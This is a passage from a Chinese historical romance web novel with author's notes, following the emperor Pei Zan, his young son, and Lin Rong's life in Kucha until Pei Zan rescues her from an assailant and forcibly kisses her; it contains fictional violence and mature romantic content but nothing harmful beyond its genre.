林蓉看了裴瓒一会儿,像是纠结好久终于有了答案,她俯身倾来,小心翼翼拉起被角,盖上裴瓒压被受冻的手。 女子的淡雅发香渐近,连体温都透着一股蓬蓬的热意。 她怕裴瓒受凉,竟还悄悄帮他掖被。 那时的裴瓒实在不懂,为何林蓉受了欺负,还能待他仁善? 实在是愚钝古怪的女子……但很有趣。 渐渐的,裴瓒生出了一点不为人知的隐秘欲心。 他没有受过任何人的偏私。 但裴瓒想要林蓉的这份好心,永远只惠及他一人。 裴瓒治国有方,他将南地六州漕运掌控在手,取富地税收,养凉陇边塞的马政。 如此兵精粮足,自然养出了精锐骑营。 裴瓒为防戎狄蛮夷犯境的恶事再次发生,他曾多次出入塞外,殷勤外交,以利相诱,引西域诸国归附西魏。 除此之外,裴瓒还在那些归顺的诸部小国,设立都护府、护民军所、甚至是册封部落土司、派遣魏人使臣,加深两国联系与交流。 如此一来,裴瓒就能多建立一道阻碍北戎、吐蕃的藩篱界线,防止昔日吐蕃屠城的惨况发生。 不过短短四年,遭遇战火重创的西南国境,又恢复了盎然生机。 而裴瓒称帝为王,行政亦与北地皇帝不同。 他本就是地方官出身,深知底下官吏如何阳奉阴违,中饱私囊。 裴瓒有自己拿捏能臣之法,不会如那些北地宗室一般耳目闭塞,被佞党奸臣糊弄得团团转。 因西魏安定,裴瓒无需每日上朝,仅十日一朝会。 平日各州各府的“官职任黜、钱粮兵马”等等要政,官员们都用题本、奏本呈于御前,等裴瓒批复便是。 裴瓒登基以后,并没有长期居于宫闱,反倒时常微服出访,亲临地方,以此巡狩军务、监督州府政务。 如此“亲民懂行”的帝王,地方官吏又怎敢弄虚做鬼?怕是不要脑袋了! 永安五年,裴嘉树也已五岁。 倒是奇怪,西魏皇帝似是不喜女色,竟不设后宫,亦不纳姬妾。 但裴瓒膝下有子,皇太子又聪慧机敏,忠于裴家的臣工半点不在意裴瓒有没有嫔妃,朝堂亦无人置喙此事。 唯有那些想借着皇子一步登天的世家大臣,心中有了些想法,偶尔会御前进谏,劝裴瓒广开后宫。 朝中有许多早年便跟着裴瓒南征北战的开国功勋,他们早知裴瓒杀伐果决、说一不二的脾性,不免为这位没眼力见的老臣捏一把汗。 果不其然,裴瓒闻言,也不过轻笑一声:“苏爱卿当真是经国之才,平素忙完政务,竟还有闲心操持朕的宫室后宅。既如此,正逢徐州夏汛,多地水患频发,朕知爱卿忧国忧民,不若前往徐州一趟兴修水利,如此也算了却一桩为民谋福祉的夙愿。” 裴瓒高帽子戴得厉害,但谁人不知,徐州距凉州都城路途遥远,又位处河流众多的南地。 这样水路多的江南一带,本就洪涝频繁,便是大罗神仙,也无法根治啊! 裴瓒派遣苏向文下达地方,还将其封为抚台,明升暗贬,分明是要抛弃苏向文,逼他远离西魏中枢的意思。 若是从前,巡抚也算是地方大员,掌一州政务,但如今裴瓒改制,他收拢兵权,并不将钱粮军务下放地方,甚至时常四下巡狩,又有哪个官员能在地方专擅,独揽大权? 朝堂的官员们无不两股战战,心中骇然,他们心知“后宫”一事乃裴瓒逆鳞,为了官运亨通,再无人敢斗胆诤谏。 夜里,裴嘉树听完太傅授课,洗漱沐浴后,钻进榻上的一床青枣纹样的薄被,闭眼酝酿睡意。 裴嘉树如今已有五岁,还是小小的人儿,站起来刚及裴瓒的腿侧。 他学着父亲那样着袍束冠,步履平稳,说话条理清晰,俨然是个玉雪漂亮的小郎君。 许是自小没娘,裴嘉树又不喜亲近丫鬟婆子,便成日小尾巴似的跟着裴瓒,连晚上都要厚颜与裴瓒同寝。 裴瓒就这么一个独子,自是百般疼爱,便也随他折腾。 好在裴嘉树没有夜啼的习惯,如今很要男子汉的脸面,也不尿床,至少弄不脏被褥。 裴瓒今日务公,直至深夜。 他忙了一天,实在疲乏,偏裴嘉树话密聒噪,没爹爹陪着讲几句话,不肯乖乖入睡。 裴瓒摁了摁额角,上榻盖被,且让裴嘉树卷着自己那一床小被睡远一点,少火炉似的粘着他。 裴嘉树慢悠悠腾挪过来,转着一双黑溜溜的葡萄眼,同裴瓒说今日的见闻。 “《大学》、《尚书》我都背完了,可太傅还让我一遍遍背,实在无趣……” 裴嘉树聪明绝顶,旁人七八岁才开始读的书册,裴嘉树不过五岁便已倒背如流。 裴瓒轻应一声,没有夸赞裴嘉树。 这小子近来很有显摆的意思,若裴瓒夸他,裴嘉树为了多得几句好话,能一晚上都张嘴背书,闹得大人夜不能寐。 果然,裴嘉树转头,见父亲轻拧了下眉心,似是不大感兴趣,又换了个话题。 “说来也奇怪,张太傅平时都在风雨亭里用光禄寺备好的膳食,怎么昨日还让家中次女前来送食?送吃的也就算了,竟还问我要不要吃她亲手蒸的桂花糕。” 裴瓒掠去一记冷戾眼风:“你吃了?” 得到了爹爹的回应,小孩立马趴过来,嘿嘿一笑:“没有,太甜,不爱吃。爹爹说了,不能乱吃外头的东西,万一下药就不好了。爹爹,你说张太傅天天让他女儿来送食是为什么啊?宫里又不是没有官膳,还能饿着他不成?” “此女想借你当登云梯,日后入主后宫。” 裴瓒教导孩子一点都不圆滑,他私以为儿子并不愚钝,玉奴也足够早慧,凡事直白告知他便是,不必藏着掖着。 果然,裴嘉树闻言,吓了一跳:“长得也没我娘好看,还想当我小娘啊?爹,你不要乱娶,阿娘知道了就不回家了。” 裴瓒扶额:“安心,我无意娶妻。” “那就好。”裴嘉树拍了拍胸口,松了一口气。 裴瓒并未告诉裴嘉树关于林蓉很可能已经离世的事,少时裴嘉树问起林蓉行踪,他只含糊道了一句,林蓉去了远地,兴许要很长一段时日才会回家。 裴嘉树每次提起娘亲,便会沉默好长一段时间。 裴瓒听他不言不语,以为儿子已经睡着。 裴瓒起身熄灯,却听到稚童闷在被褥里,嗓音隐有哽咽。 裴嘉树吸了吸鼻子,瓮声瓮气地问了一句:“爹爹,我能再见到娘亲吗?” 裴瓒被儿子问得一怔。 人死后,会下阴曹地府,死路亦是归途。 裴瓒缄默许久,不知该劝什么。 最终,他还是拍了下裴嘉树的软被,哄儿子:“……总有相见的一日。” 即便是百年之后,奈何桥前。 作者有话说:不会失忆,不写失忆梗=3= 下一章是林蓉的故事啦,下下章应该就见面了。 蓉儿不回家,肯定有自己的顾虑,毕竟裴瓒位高权重,她虽然记挂儿子但也会考虑自己的情况。 不过别担心,结局是HE,后续进展我觉得虽然有拉扯,但总体是不虐的。 不过裴瓒想追到妻子,还得努努力,总之后面走向也会明朗很多了,不剧透,慢慢看吧~ 至于一些夫妻生活,我不确定裴瓒会不会给自己谋福利(目移)因为我是跟着主角走,但是番外是肯定有的……而且可能很多…… 忽然想到一个奇怪的东西,裴没给蓉口过,蓉也没有给他,所以之前看到的一些奇怪的,可能就是别的地方的唇……(后面裴当然什么都敢做……此子玩得很花。 裴瓒的国土不大,但是很富又兵强马壮,大概是这样,所以他完全有空各地巡视,也就不会让地方官的权力过重,因为皇权不至于鞭长莫及。(别的不用太在意,架空。) 一些小常识,引用搜索。 历代朝会制度 秦汉时期: 确立了每天朝会的制度,后历代大多沿袭,但具体的频率有所变化。 西汉时期: 实行五天一次的早朝制度。 唐朝时期: 官员按品级有不同的上朝规定,例如“常参官”每日朝参,但也有十天一休的假期。 宋朝时期: 朝会制度有所放松,有些皇帝改为逢五上朝(初五、十五、二十五),也出现了“朝假”和“休务”制度。 明朝时期: 规定一天有三次朝会(早朝、午朝、晚朝),但实际执行时存在很大差异。 清朝时期: 康熙帝时期开始,御门听政成为制度,后逐渐改为三日或五日一朝,雍正帝之后则更多地通过批阅奏章和军机处议事来处理政务。 (不必在意,本文架空) 第56章 林蓉在西域的龟兹古国生活已有五年。 五年前, 她坠崖落水,胸肋受伤,几乎要溺亡于深潭。 好在芝麻聪慧, 一路沿着山径往崖底奔波,甚至扬蹄涉水, 驮出昏迷不醒的林蓉。 芝麻虽是马畜, 却自幼受困樊笼, 遭人打杀。除了林蓉, 芝麻几乎不信任任何人,它对生人的警惕性很高,在这次战役里, 芝麻亦见识过那些胡兵的凶残,不敢再靠近人群。 芝麻见人就躲, 避开战火连天的主城, 颠簸几日, 竟来到了被吐蕃骑兵占领的凉州。 若非林蓉多日昏睡, 体温变凉, 唇瓣干涸, 芝麻亦不会求助于惊慌避难的商队。 彼时的西魏兵荒马乱, 无辜百姓枉死于蛮兵的铁骑之下,因城门大阖, 许多往来凉州经商的胡人平民受困凉州,直到吐蕃骑兵南下攻城, 凉陇一带防守松懈,方有逃跑之机。 一支龟兹来的胡人商队远远看到了驮着林蓉的杂毛马,心中一惊,没等他们的护卫张弓持剑, 做出防御姿态,芝麻便屈膝低颈,朝眼前的一群人跪了下去。 残阳自林隙倾泻,金芒覆于驮主屈膝的骏马身上,照得林蓉那张仙姿玉色的面容更为圣洁庄严,犹如九天玄女御兽下凡,普度众生。 这一幕将在场的所有人都撼住了。 羊羔跪乳,鸦雀反哺。 良驹生出灵智,朝人屈膝跪拜,分明是想求人解救主子。 如此通人性的家畜,堪称生平罕见。 龟兹古国素来崇佛,城中供奉的七堂伽蓝、圣佛古刹更是数不胜数,他们深受佛学熏陶,当然听过“佛陀菩萨于灾厄中降世,观音济世”的佛偈典故。 胡人们疑心眼前这一幕是观音佛祖的考验,不敢怠慢,以免因他们见死不救的恶行上达天听,招致天谴灾厄。 一时间,龟兹商队的胡人们纷纷放松了戒备,收起武器。 他们马不停蹄上前,慌忙搭救受伤不醒的林蓉。 待林蓉伤愈醒转,已是三个月后。 林蓉被那些商队的胡人带回了相距凉州千里的龟兹古国,她的运气颇好,在西域小国里,竟还遇到了其他从凉州逃出的魏人,其中便有几名玉门村的旧友。 张婶娘没有见过林蓉的真容,一时间没能认出她,还当眼前这个花颜月貌的女子是哪个西域小国的公主,倒是杨峰熟悉林蓉的言行,一眼便认出她是“穆姑娘”。 杨峰此前见过林蓉和裴瓒的一场纷争,知她的真名是“林蓉”。 久别重逢,杨峰难掩激动,轻轻唤了一声:“林姑娘?” 林蓉此前害杨峰受伤,如今见他行走自如,双腿并无大碍,心里暗藏的那点愧怍总算是烟消云散了。 林蓉劫后余生,松下一口气,笑道:“杨大哥,好久不见。” 杨峰凝望林蓉那张芙蓉春面,总算明白那一日为何裴瓒领兵前来,声势浩大地追捕林蓉。 两人都对玉门村那场浩劫闭口不谈,沉默片刻,林蓉小心问了几句凉陇的近况,以及如今魏国与吐蕃的战情。 从杨峰口中,林蓉得知了裴瓒放弃北上夺城,率军回到南地的事。 裴瓒忧国爱民,不但解救了被吐蕃蛮骑摧残的六州,还发兵边境,收复凉陇二州,将那些烧杀劫掠的夷骑逐出大魏国境。 魏裂为西魏、北魏二国,裴瓒在西地称王,又携子定都凉州。 林蓉得知裴嘉树安好,心中总算安下了心。 杨峰不蠢,之前裴瓒只手遮天,率兵擒人的画面历历在目,他隐隐猜出裴瓒的身份。 今天又听林蓉打听西魏皇帝及其家宅事,更是笃定了裴瓒的显赫身份。 被一国之君缠上,林蓉自然插翅难逃。 杨峰爱慕林蓉,他盼着林蓉安好,并不会伤害林蓉,将此事泄露出去。 杨峰犹豫许久:“林姑娘,若你想回西魏,我在外也有商队,可命人护送你回去。” 林蓉闻言一怔,久久无言。 林蓉记挂裴嘉树,也感念裴瓒救济苍生。 平心而论,此前裴瓒在床笫间虽多有恶癖,但衣食住行上并未亏待过她。 君子论迹不论心,论心世上无完人。 裴瓒屡次对她喊打喊杀,却没有真正屠戮过林蓉的旧友亲朋……想来那些恐吓与胁迫的手段,其目的也不过是逼她回家。 老实话,林蓉对裴瓒的印象称不上厌恶,但如今想到过往种种,林蓉的心里涌起的唯有浓浓的疲倦。 在坠崖寻死的瞬间,林蓉已做好舍弃前尘的准备,虽待儿子太过残忍,但林蓉此生都没有为自己活过,她想自私一回。 兴许有哪日,她过够了外头的日子,会自己回到西魏,与裴嘉树团聚。 又或者裴嘉树年幼,再有一两年便将她这个生母抛诸脑后,还嫌她的婢子出身令他蒙羞,巴不得林蓉一直留在塞外,不要归家。 思及至此,林蓉释然一笑:“杨大哥的好意,我心领了……但我还想在外生活一段时日,暂时不打算回西魏。” 闻言,杨峰道:“林姑娘,玉门村被吐蕃骑兵烧杀劫掠,摧毁殆尽,我趁着兵乱,带着村民们出逃塞外……商队里的人,你大多都认识,都是一些质朴心善的凉州百姓。如果林姑娘不嫌,亦可与我等同行,彼此有个照应。” 出门在外,自然是跟着同胞远行更好。 但林蓉心存顾虑,没有立时回应。 杨峰也没有催逼,他耐心等待林蓉的答复。 林蓉想了一会儿,低头的时候,忽然看到一只躲在杨峰身后不住摇尾的黄狗。 林蓉心念一动,喊出一声:“大黄?” 黄狗听到旧主呼喊,当即发出呜咽一般哼哼唧唧的声音,狂吠两声,扑向了林蓉。 林蓉看到当初舍在玉门村的家畜,已被杨峰养得膘肥体壮。 即便在烽火连天的乱世间,他也没有舍下大黄出逃……杨峰确实是个好人,林蓉鼻尖发酸,感动不已,她为自己方才的提防感到羞愧。 林蓉叹气:“我怎会嫌弃杨大哥,只怕我一个女子随队,多有叨扰……” “林姑娘这话太过见外了,你我本就是旧友,谈何打扰?能和林姑娘同行,我很高兴。” 林蓉心知杨峰的好意,她没再推诿,取了一条面纱遮脸,抬头环顾四周。 龟兹小国北临天山,南接大漠,城中虽然到处都是那种用黄粘土、杨木搭建的土屋民居,但并不是林蓉之前想象的那样,黄沙漫天,土地干涸,反倒有河流自天山涌下,形成一片片葱郁绿洲。 龟兹国虽小,诸部人口稀少,但他们极擅冶铁造器,又位处于西域中心,当地商贸发达,生活还算富足。 加之此次吐蕃与大魏的战役,并未波及到这座弹丸小城,城中汇聚了许多逃亡避难的骆驼商队,一眼望去,人头攒动,竟也有几分热闹。 林蓉跟着玉门村的旧友在此地落脚,她生性坚韧,又很能吃苦。 几年过去,林蓉竟也开始习惯了居于西域的日子。 林蓉知道自己这张脸生得漂亮,出门在外,要么用胭脂乌膏涂抹半张脸,掩作“胎记”;要么戴防沙的风帽、面纱,遮蔽面容,不敢有丝毫疏忽,以免招致灾祸。 五年过去,林蓉跟着杨峰的商队往来,竟也敛了一笔小钱,还学会了西域几国的胡语。 如今的生活,不说宽裕,但也足够让林蓉吃饱穿暖,并买下一座独属于自己的土砌小院。 林蓉的院子不大,仅有一间灶房、一间寝屋,但她特意雇了匠人帮忙再搭建一个供芝麻休息的马厩,还搭了一个让大黄睡觉的狗窝。 林蓉知道芝麻通人性,平时也不拘着它走动,甚至每次出门跟一趟商队,回家时还会给大黄带一根炙烤的羊骨头,再给芝麻捎几个味甜汁多的番瓜。 这五年里,林蓉也曾乔装打扮,跟随杨峰的骆驼商队回到西魏。 她心里记挂玉奴,和凉州百姓旁敲侧击,打听过裴嘉树的近况。 林蓉知道裴嘉树被册为皇太子,深受君王疼爱,而裴瓒没有再娶妻立后,膝下亦无其他子女……玉奴过得应该很是不错。 林蓉挤在熙熙攘攘的人群中,远远见到了那位深受子民爱戴的西魏君王裴瓒。 男人玉冠玄服,气度清疏。 即便过去了几年,他仍如从前那般眉目如画,生得一副雪魄梅骨的出尘样貌。 裴瓒似是惫懒,单手支头,百无聊赖地端坐于华盖玉辂之中。 他的神色淡漠,另一手揣着小团子裴嘉树,时不时以臂看顾,又将儿子揣回怀里。 裴瓒似是担心儿子好奇心重,东张西望,会不慎跌下马车,偶尔蹙一下眉峰,还会低低呵斥一句,劝裴嘉树莫要乱动。 五云星宿的裴氏旗帜迎风招展,仪仗队的侍从持伞、持刃,为君王、皇太子保驾护航。 马车渐行渐远,与林蓉错身而过。 林蓉目送父子两人的轿辇回到皇城,心头积压的那团郁气忽然消散了。 她释然一笑,轻舒出一口气,心里涌起一股安心之感,也不知在慨叹什么。 林蓉想,裴瓒虽作恶多端,但也不算坏到极点。 至少裴瓒履诺,一言九鼎。 他成了极好的父亲,他真的将他们儿子照顾得很好。 林蓉放下心,她转身,骑上杨峰留下的骆驼,渐行渐远。 商队的朋友都在等待林蓉一起返程。 林蓉迎着风,自在地扬鞭,朝着凉州关隘行去。 在那一刻,林蓉心想:恶因未必结出苦果,她与裴瓒纠缠多年,像今日这般相忘于江湖的结局,似乎也很不错。 作者有话说: 一些资料。 凉州距离西域龟兹大约一千多公里,约莫二千里,墨羽一天可跑三四百里,途中如果换马,抵达龟兹也就三四天的样子。(会有一些耗损的疏忽,但不赘述,一点点金手指和架空,古地址和我们文中的地址也不大一样,我们会更近一点,不必在意。) 鹰隼送信的时速可达每小时170公里,即为古代的340里,因此如有急报,一天就能送信到裴瓒手上,平时他在外办事,并不耽误朝政与军情。 不必太在意,但是这些是之后裴瓒追妻的一些小东西。 第57章 西域位处商贸的襟喉之地, 是连接中原与塞外的枢纽,亦是兵家必争之地。 中原君王控制西域,除却垄断塞外利润庞大的贸易商路这一目的, 还有他们心知西域地形复杂,易守难攻。 一旦西域沦为敌军的领地, 将会沦为西魏的军事突破口, 成为胡兵破关入境的巨大威胁, 后果不堪设想。 这也是为何裴瓒要定都凉州, 厉兵秣马,牢牢掌控西域诸国,试图让三十六国尽数归附西魏的原因。 西魏的富饶, 早已是胡族诸部人尽皆知的事,也诱得西域以北的戎狄野心勃勃, 一心侵吞西域诸国, 再沿着商路攻向西魏, 以求有一日能攻入中原, 肆意掠夺物资钱财。 近日, 北戎可汗蠢蠢欲动, 竟率军攻下了龟兹国以东的姑师, 又试图往西面扩张,直逼龟兹古国。 林蓉隐隐听到战乱的风声, 心中做好了迁居的准备。 因龟兹小国没有归附西魏,当地并未设下护民的军所、都护府, 裴瓒没那么好心,自然不会派兵前来驰援一个毫无干系的小国。 倘若林蓉真的遭到炮火的侵袭,她也只能被迫西迁,前往那些归顺西魏的西域诸国避难。 但杨峰告诉林蓉, 龟兹国王似是已经向西魏递去归附的国书,请求中原皇帝派兵策应,想来在魏军的庇护下,北戎不敢轻举妄动。 这等国事,林蓉再着急也无用,只能先过好自己平民老百姓的生活,走一步看一步。 不过外面的世道变乱了,林蓉保险起见,没有跟着杨峰等人外出行商。 但她不是那等“坐吃山空、不事生产”的性子,居于城中也有很多活计可以干,譬如林蓉家中有马,她可以搭个板车,帮忙客舍运送酒水。 时值九月,已是秋末。 林蓉用布带束胸,又换了一身利落保暖的宝相花纹胡袍,她将半张脸都染上胎记,遮掩住灵动柔媚的五官。因她嗓音本就是婉约女子,一开口就知性别,因此出门在外,如果没有杨峰他们陪伴,林蓉尽量不与生人多说话。 附近的邻里很熟悉林蓉,一见林蓉过来便笑着打招呼,想用一摞摞香喷喷的香豆子胡麻饼,和林蓉换一只荷叶烧鸡。 那些晒干的荷叶,是林蓉托杨峰去西魏经商特意买来的。 先用干荷叶包裹家禽,再涂抹黄泥,丢进火炕里炙烤,烧出的鸡鸭便带着一股芙蕖清香,极为好吃。 有时酒肆的店家也会和林蓉预订一些烧鸡,只是林蓉偶尔跟随商队外出,回家的时间不定,这桩生意自然也没能长期维持下去。 林蓉将几坛子肉酒搬上板车,又把几个泥茧子烧鸡堆到板车的角落里,她骑上芝麻,摸了摸马鬃,笑道:“送完这一趟,我们就回家吧!待会儿上集市给你买一些胡萝卜吃。” 中原地带盛产白萝卜,这等生在胡地的甜萝卜,形似白萝卜,林蓉便喊它“胡萝卜”。 胡萝卜色泽黄澄澄,口感干瘪,没多少水,但味甜。 林蓉不爱吃,不过芝麻很喜欢,每次都能连吃三四根。 林蓉骑着芝麻,一路往客舍行去。 走到一半,芝麻忽然抖了抖耳朵,停了下来。 林蓉心下纳罕,小声问:“怎么了?” 芝麻又不会说人话,自然不能回答,只喷了喷鼻子,眨巴一双乌溜溜的长睫马眼。 林蓉皱眉,凝神去听,可远处人山人海,她看不到街巷里的情形,至多听到几声隆隆马蹄、急促的马嘶声。 芝麻不过停了一瞬,又继续朝前跑去。 林蓉不疑有他,她赶着送货,没再多管闲事。 待到了客舍邸店,林蓉搬酒入内,想和订购美酒的客人讨钱。 不等她提酒迈进幽暗逼仄的土楼里,忽然嗅到了一股浓烈的血腥气。 林蓉微微蹙眉,警惕心起。 她将那一把护身的宝石匕首从靴中取出,揣在掌心,以防万一。 西域小国不似魏国那般平静,即便当街厮杀也不会有兵卒官吏前来缉人,因此出门在外,百姓们都得备一些防身的武器。 没等林蓉开口喊人,询问原委,她一偏头,竟看到一侧的木桌上匍匐着一人。 男人瞠目结舌,头颅脱离身体,竟是死不瞑目之状! 林蓉认出来,此人正是客舍店家,竟有人持刀将他杀害于此! 林蓉大惊失色,拔腿就跑,可没等她闯出店门,竟有一只沾血的猿臂死死抓住了她的腕骨。 林蓉惊恐不已,抬头望去,正对上一张粗犷凶恶的胡人面庞。 男人的身材高大魁梧,混淆酒气与血气,分明是刚杀完人。 林蓉意识到,此人并非龟兹人,他的刀柄上拓了狼纹,这是凶悍嗜杀的戎狄部落图腾! 他是北戎人。 林蓉心知戎狄凶残,比较吐蕃骑兵,有过之无不及。 此前姑师小国沦陷,诸部男丁杀光,财物被劫,女子拽回帐中奸淫,为杀夫仇人生儿育女,堪称丧尽天良。 林蓉不知眼前的男人想做什么,但她不能开腔暴露女声。 林蓉不要那些酒钱了,她只想尽快逃离此地。 可林蓉咬唇不语,杏眸水光潋滟,竟激起男人的征服欲。 他似是注意到林蓉身材娇小,细皮嫩肉,一眼便认出林蓉的真身。 北戎人淫笑起来,作势要暴戾地撕开林蓉的衣袍。 可下一刻,林蓉抓住破绽,持刃挥出,奋力刺向他的左眼,血液喷涌而出。 “芝麻!” 趁着北戎人捂眼尖叫,林蓉连滚带爬地跑向店门,用胡语大声呼救,试图攥住近在眼前的马缰。 没等她抓住芝麻,伶仃脚踝又被强壮的男人从后擒住,就此拖回了客舍…… 芝麻看着紧闭的店门,着急地撞击。可它身上缚着车板,无法闯进店中。 马驹急不可耐地喷鼻,原地踢踏两下。 过了一会儿,芝麻不知想到了什么,竟撒开四蹄,朝着街巷的另一端疾驰而去! 龟兹国的客舍二楼,灯火通明,寂静无声。 低矮的杨木桌案上,铺着四爪龙纹锦毯,银盆堆满汁水丰沛的瓜果烤肉,镶嵌红宝石的高足金酒杯里也斟满了香气扑鼻的西域肉酒。 龟兹的老国王蒙提忐忑地坐在下首,频频望向上首不苟言笑的西魏皇帝。 龟兹国矿产丰富,蒙提国王一直也以本国的冶铁术为傲,不肯归附西魏,将钱财之道让渡中原魏人。 可自打姑师国被北戎兵马歼灭,国势倾颓,诸部俱灭,蒙提国王方才意识到龟兹国多么势弱,又多么诱人垂涎。 他看着北戎人频频往龟兹国边境迁徙,劫掠他们的商队,杀害他们的子民,终是按捺不住心中惶恐,给千里之外的西魏君主送去了归附的国书。 蒙提国王用胡语哀切恳求:“龟兹国地小势微,又有北戎王庭虎视眈眈……还请中原皇帝出手襄助,解救我们龟兹子民于水火间。” 蒙提国王说完,便请身旁擅长大魏话的译者帮忙传话。 没等那名官吏开口,男人清冷持重的嗓音便从上座传来。 “龟兹既有归附之心,西魏当然欣然应承。只西魏养兵不易,骑营又在千里之外。若想御戎一战大捷,龟兹自当帮忙磨炼军械,筹备粮草,方能彰显投魏的诚心。” 裴瓒的胡语说得流利,韵律优雅,娓娓道来,竟让蒙提国王心生慌乱……他没想到裴瓒竟然精通多国语言,只盼方才他们的臣子都安分守己,没有口出不敬言论。 这般隐秘的敲打,蒙提自然明白了裴瓒的意思。 龟兹最擅冶铁,盛产“精钢镔铁”。不少小国战役,都会用钱财来和龟兹国换取削铁如泥的刀刃,用于战场厮杀。 西魏君主亲自出使龟兹,定是为了练铁技术而来。 国难当前,即便此为龟兹国生财之法,蒙提国王也不敢藏私。 他叹了一口气,俯首道:“龟兹国愿意倾尽举国之力,为西魏皇帝筹备数万铁刃军械,并奉上坩埚冶铁之法,只求陛下派兵增援。” 闻言,裴瓒那张清隽俊脸上终是有了一丝柔色,他轻扯唇角,道:“往后龟兹既是西魏的藩属国,自当得到西魏庇护,还请国王不必太过忧心。” 此言一出,蒙提国王愁闷的好几天的脸色终于放晴。 他含笑斟酒,拍了拍手,想给裴瓒进献几个能歌善舞的龟兹美人。 哪知肤白貌美的女子还不曾入席,裴瓒忽然因一道急促马嘶声,蹙起了眉锋。 屋外的街巷响起了唾骂的喧哗,闹得人仰马翻,亦引得裴瓒有些不快。 蒙提国王心中忐忑,赶忙让亲卫去查看情况。 裴瓒也循声掠去冷漠一眼。 可就在他瞧见楼下那一匹杂毛马的瞬间,一双寒彻墨瞳骤缩,冷静的面孔荡然无存。 不等蒙提国王询问原因,本在上首端坐的黑袍君王,陡然踩案踏起,健步如飞。 裴瓒一言不发,只持着一把凛冽寒刃,从二楼大敞的土窗一跃而下! 蒙提国王目瞪口呆,吓得一声惊呼:“陛下?!” 蒙提急忙攀窗去看,却看到裴瓒衣袍翩跹,早已稳当落地,连发丝都不曾凌乱分毫。 裴瓒单臂持缰,纵身上马,朝前方狂奔,不过一个眨眼,便随着滚滚风沙一齐不见了踪迹。 蒙提国王呆若木鸡,和一旁的西魏官吏大眼瞪小眼,用结结巴巴的魏国话问:“怎……怎么了?” 官吏也是丈二和尚摸不着头脑,他怔忪回答:“不、不知道啊……” 他也是第一次看自家皇帝这般失态,实在摸不清楚状况啊。 客舍内,因光线昏暗,林蓉又刺瞎了北戎男人一只眼睛,导致男人行动不便,几次都没能抓到林蓉。 可门扉闭阖,林蓉的逃跑速度实在不敌一个游牧部族的男子,几次想逃脱,竟都被他抓住腕骨,摔回墙角。 林蓉体力不济,落于下风,渐渐软倒在地。 这样僵持下去不行,不如拼死一搏。 林蓉心生一计,她故意抱住匕首,蜷缩角落,打算给北戎人致命一击。 北戎人见她气喘吁吁,还以为林蓉没有力气,已经认了命。 他捂住眼睛,大骂了一声“贱人”,便朝林蓉的方向猛扑过来。 不等林蓉提刀,一道银芒闪动人眼。 不过瞬息,哗啦一声,一蓬滚沸的鲜血猝不及防淋上她的面门。 林蓉怔忪了片刻,傻傻睁眼。 她低头一看,那一把匕首还完好无损,置于自己手心。 明明没有出手,可她的眼睫、指缝,却全是滚沸的红血。 腥臭味铺天盖地,如潮涌至,催人作呕。 一颗硕大的人头,咕咚一声,落到林蓉的脚边,险些贴上她的裙袍。 一只眼眶空荡,另一只眼猛睁,正是那个企图凌辱她的北戎男人。 下一刻,林蓉抬头,看到了毕生难忘的画面。 男人手持长剑,黑发如瀑,周身戾气倾覆,如狂风翻涌,站在她的面前。 猩红鲜血溅上男人线条优雅的下颌,犹如血梅。那些血花,又沿着他白皙的脸颊蜿蜒,缓慢滴落在地。 “林蓉!” 他的声音岑寂,一双凤眸黑沉冷冽,宛如不通人性的豺狼,正死死盯着屋舍一隅的林蓉。 林蓉心中惊讶。 眼前的人……竟是多年不见的裴瓒! “你……”没等林蓉开口说话,裴瓒已然蹲身,单臂抱起了她。 裴瓒失而复得,胸腔心绪翻涌,不知是喜还是惧,男人的遒劲手臂环住林蓉,下手力道十足,仿佛失了神志,只知紧抓住林蓉不放。 林蓉无措地被裴瓒抱紧,她能感受到男人的身体发寒,肩膀微颤,他竟在发抖。 裴瓒薄唇紧抿,忍了很久,才从喉头艰涩地挤出一句。 “林蓉……你还活着。” 作者有话说: 蓉儿现在24岁了,裴瓒33岁(大九岁) 北戎与山戎、无终国等同被归类于戎狄。 以为妻子去世,裴瓒:如有相见的机会,我一定洗心革面重新做人。 看到妻子复生,看妻子身边任何男人都是假想敌,裴瓒^ ^:奸夫与我,只能活一个。 第58章 林蓉见过裴瓒诸多模样。 男人扬唇冷嗤、微笑算计、眯眸打量、掠眼蔑视……那双凤眸无一不是理智而清醒, 高高在上,如同九天造物神祇那般谛视沧海众生。 可她唯独没见过裴瓒这般强抑心绪的可怖样子,他的神色一如既往冷寂平静, 可紧锢着林蓉细腰的铜筋铁骨,蘸水抹上林蓉脸颊污血的帕子, 无一不在彰显裴瓒的疯魔与痴邪。 他的占有欲强盛, 仿佛不喜林蓉沾上旁人的血迹, 擦脸的动作细致, 用的力道有些重,甚至将林蓉的下颌都拭得通红。 没等林蓉皱眉,拍开他的手。 裴瓒的凤眸冷若寒刀, 忽然凝在她饱满如樱的唇珠上。 林蓉被他眼中悍烈的侵占欲吓了一跳。 不等她拧身逃跑,肩背峭拔的男人已然俯身。 手掌抵着她的腰窝, 吻上了她的软唇。 林蓉的美眸瞬间瞪大, 无话可说。 她嗅到一股久违的清苦檀香, 秾艳而妖冶, 混淆着邪肆的血气, 近乎无缝不钻, 无孔不入, 在她口鼻炸开,充斥着她的五感。 裴瓒轻咬她的唇瓣, 纤长的指骨轻掐着林蓉的腰。 不过一点带茧指肚的摩挲,便逼得林蓉后脊发痒, 下意识张口轻喘。 裴瓒顺势破开她的齿关,长驱直入,卷上了林蓉的丁香小舌。 裴瓒的舌是滚烫的、湿濡的,在林蓉的齿列滑动, 碾磨她的舌下青筋,勾得她舌根发酸发软。 他似是极馋林蓉,怎样吃都不够,不仅与林蓉唇舌缠磨,还要将她口中所有唾津,吞咽进腹。 裴瓒吻得极深极重,连嶙峋喉结都在滚动,似要将分离五年难填的欲壑尽数找补回来。 裴瓒丝丝分明的墨发,如水一般流泻,横陈于林蓉微敞的细白锁骨。 他将林蓉压在墙角,倾身俯就,如山覆来。 裴瓒的身躯高大,他一手抱住林蓉的腰,任她无措地踮脚,另一手抵住墙,手背青筋颤动,就此将她困在屋角。 裴瓒把林蓉所有的退路尽数斩断,逼她只能迎合他、感受他、接纳他。 远远望去,仅能看到女子的两只小手,如同易折的花枝,娇弱的莲瓣儿,可怜地攀在裴瓒遒劲的肩膀上。 随之林蓉整个人都被男人的身影遮蔽、淹没,吞噬殆尽。 裴瓒的欲念一贯持久,林蓉深知他的不羁秉性,仅仅是接吻,竟都能如此凶残。 林蓉感受着那一只在她腰腹软肉肆意揉捏的大手,心道不妙。 若是放任他这样亲下去,后果不堪设想。 林蓉实在无法忍受裴瓒的热情,意识迷离间,她下意识伸出手,重重摔了过去。 啪! 